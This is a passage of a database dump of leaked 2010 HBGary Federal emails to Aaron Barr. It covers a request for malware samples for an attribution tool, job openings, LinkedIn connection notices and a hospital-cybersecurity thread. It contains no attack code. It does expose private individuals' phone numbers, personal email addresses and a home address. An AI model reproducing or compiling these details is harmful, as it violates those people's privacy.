wrote:\r\n\r\n> Aaron, I am sorry to say that after much thought, I am not sure how I can be of help on this project. Let me know if there is something specific that you think I can do to help however. ~ Lincoln \r\n> \r\n> Lieutenant Colonel Lincoln Leibner\r\n> United States Army\r\n> Operations and Technology Office\r\n> 703-697-7131\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Friday, July 16, 2010 22:27\r\n> Subject: Attribution\r\n> To: Aaron Barr \r\n> \r\n> \r\n>> I am sending this request to a small group of individuals. Please \r\n>> do not forward this email to third parties. HBGary is working \r\n>> hard to help solve the attribution problem. We have developed a \r\n>> fingerprint tool which extracts toolmarks left behind in malware \r\n>> executables. We use these toolmarks to cluster exploits together \r\n>> which were compiled on the same computer system or development \r\n>> environment. Notice the clusters in the graphic below. These \r\n>> groupings illustrate the relationships between over 3000 malware \r\n>> samples.\r\n>> We need your help to further validate and improve the tool. \r\n>> Eventually you can imagine combining this data with open source \r\n>> and intelligence data. I can see attribution as potentially a \r\n>> solvable problem. We need your malware samples, as many as you \r\n>> can provide. This is not something we are looking to profit from \r\n>> directly, we will be giving this tool away at Blackhat, so helping \r\n>> us improve the tool will help the community beat back the threat. \r\n>> If possible please have your representative CISOs or cybersecurity \r\n>> personnel send malware samples in a password protected zip file. \r\n>> Provide the password via phone 719-510-8478 or fax to: 720-836-\r\n>> 4208 we need your samples as soon as possible. Samples provided \r\n>> will not be shared with third parties and your participation will \r\n>> be held in strict confidence.\r\n>> \r\n>> In exchange for your help, I will provide you with a summary \r\n>> report of our findings and you will have made a significant \r\n>> contribution to securing America\'s networks. \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\n',8206,'aaron_hbgary_com/8206.html'),(10425,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008117.M840985P14101Q5280.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Jason has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Jason are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Jason Mueller \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Security Engineer, Federal Services at ArcSight\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Jason\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          jmueller2004@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Jason\'s Connections (202) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jay Beale\r\n                ,\r\n                  Managing Partner, CFO, Chairman, InGuardians, Inc.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Martin Roesch\r\n                ,\r\n                  CTO &amp; Founder at Sourcefire Inc\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Tony Cole\r\n                ,\r\n                  Senior Director, Professional Services at McAfee\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 John Stoner\r\n                ,\r\n                  Principal Sales Engineer at ArcSight\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Jason\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     ArcSight\r\n                    \r\n                      Jason works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Symantec\r\n                    \r\n                      Jason worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Northrop Grumman Corporation\r\n                    \r\n                      Jason worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     US Navy\r\n                    \r\n                      Jason worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',5132,'aaron_hbgary_com/5132.html'),(10426,'2010-08-17','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008118.M170016P14101Q5281.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Jobs','I&#39;ll keep asking around.On Mon, Aug 16, 2010 at 9:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK guys I really need your help.  I have jobs to fill both available immediately and if we win the TSA ITSSS contract (which we have a good shot).\r\n\r\nHere is what I am looking for:\r\nClassified Customer Virginia:\r\nReverse Engineers (requires full scope poly)\r\n\r\nNSA:\r\nMalware analyst, Intel Analyst, Cyber Analysts (requires full scope poly)\r\n\r\nTSA (this is if we win the contract but I need resumes now):\r\nLead Digital Forensics:\r\nLead SOC:\r\nLead Cyber Intelligence:\r\nLead Incident Response:\r\nLead Threat Management:\r\n\r\nAny contacts would be very very helpful.  These are all multi year contracts, but I just need people to fill now, if they don&#39;t like the particular job/area we can switch them around as we get more work.\r\n\r\nThanks,\r\nAaron-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13297,'aaron_hbgary_com/13297.html'),(10427,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008118.M410764P14101Q5282.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Michael has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Michael are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Michael Cloppert \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Intel Fusion Team Lead &amp; CIRT member for DoD Contractor\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Michael\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          mike@cloppert.org\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Michael\'s Connections (115) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Niels Henrik Rasmussen\r\n                ,\r\n                  Founder of Secunia and CEO\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Matt Herman\r\n                ,\r\n                  President of WaveStaff, Inc.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Tony Cole\r\n                ,\r\n                  Senior Director, Professional Services at McAfee\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Michael Ellerbrock, PE, LEED&#xae;-AP\r\n                ,\r\n                  Civil Engineer, Phase Manager\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Michael\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     USAID\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Fifth Third Bank\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     DLP Technologies\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     BT\r\n                    \r\n                      Michael knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',14020,'aaron_hbgary_com/14020.html'),(10428,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008118.M665429P14101Q5283.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Sonny has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Sonny are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Sonny Discini \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Senior Network Security Engineer, CISSP\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Sonny\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          thehorse13@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Sonny\'s Connections (145) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Alisoun Moore\r\n                ,\r\n                  Director of Healthcare Systems Management at Northrop Grumman Information Systems\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Brandon Dunlap\r\n                ,\r\n                  Experienced Security and Compliance Process Nerd\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Gadi Evron\r\n                ,\r\n                  Security Strategist, Freelancer\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Chris Hynes\r\n                ,\r\n                  Computer Software Consultant and Contractor\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Sonny\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     KPMG Peat Marwick\r\n                    \r\n                      Sonny worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Hewlett-Packard\r\n                    \r\n                      Sonny knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     EMC Computer Systems\r\n                    \r\n                      Sonny knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Sprint Nextel\r\n                    \r\n                      Sonny knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12213,'aaron_hbgary_com/12213.html'),(10429,'2010-08-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008118.M923193P14101Q5284.eml','BSmern@aol.com,Greg@hbgary.com,aaron@hbgary.com,ted@hbgary.com,BSmern@aol.com','RE: Brian Buckley\'s 8/5 event on hospital cybersecurity; new DARPA research pjt','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron&#8217;s contact info\r\n\r\naaron@hbgary.com / 719-510-8478\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: BSmern@aol.com\r\n[mailto:BSmern@aol.com] \r\nSent: Monday, August 16, 2010 6:23 PM\r\nTo: bob@hbgary.com; Greg@hbgary.com; aaron@hbgary.com; ted@hbgary.com\r\nCc: bsmernoff@alum.mit.edu; bsmern@aol.com\r\nSubject: Re: Brian Buckley\'s 8/5 event on hospital cybersecurity; new\r\nDARPA research pjt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n16 August\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for your rapid response.&nbsp; Can you please give me\r\nAaron\'s contact information so we can&nbsp;try to connect during the next few\r\ndays?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSince I didn\'t attend the August 5th event at UCD on hospital\r\ncybersecurity, and FBI special agent Brian Buckley praised Greg\'s PPT\r\npresentation as being VERY good, any chance I can get a copy of this PPT via\r\nemail from Greg or you?&nbsp; This would be much appreciated.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI hear you about Cleveland-based sports teams.&nbsp; Working\r\ntogether with you would constitute the dynamic duo of two BS people -- sounds\r\npretty dangerous to me!&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheers -- Barry\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBarry J. Smernoff, PhD\r\nAlphaOmega Collaboration LLC\r\n23533 Wimbledon Road\r\nShaker Heights, OH 44122\r\n(216) 410-5477 BlackBerry mobile\r\nbsmernoff@alum.mit.edu \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn a message dated 8/16/2010 5:21:00 P.M. Eastern Daylight Time,\r\nbob@hbgary.com writes:\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3075 - Release Date: 08/16/10\r\n14:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10970,'aaron_hbgary_com/10970.html'),(10430,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008119.M247934P14101Q5285.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Mila has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Mila are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Mila Parkour \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Information Technology Professional\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Mila\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          milaparkour@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Mila\'s Connections (20) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Dror Shalev\r\n                ,\r\n                  chief technology officer\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jibran Ilyas\r\n                ,\r\n                  Security Consultant, Forensics at Trustwave\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Chester Wisniewski\r\n                ,\r\n                  Senior Security Advisor at Sophos\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Andre\' DiMino\r\n                ,\r\n                  Co-Founder &amp; Director of The Shadowserver Foundation\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Mila\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Google\r\n                    \r\n                      Mila knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     IBM\r\n                    \r\n                      Mila knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     PricewaterhouseCoopers\r\n                    \r\n                      Mila knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Symantec\r\n                    \r\n                      Mila knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',15711,'aaron_hbgary_com/15711.html'),(10431,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008119.M629832P14101Q5286.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Victor has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Victor are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Victor Tsao - &#x66f9;&#x529b;&#x5143; \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Cyber Security/Intrusion Analyst (FAA Contractor) at SRA International, Inc.\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Victor\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer Networking Industry \r\n                        \r\n                        \r\n                          tsaov@hotmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Victor\'s Connections (98) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jay Beale\r\n                ,\r\n                  Managing Partner, CFO, Chairman, InGuardians, Inc.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Pete Krueger\r\n                ,\r\n                  Web Applications Architect/Developer\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        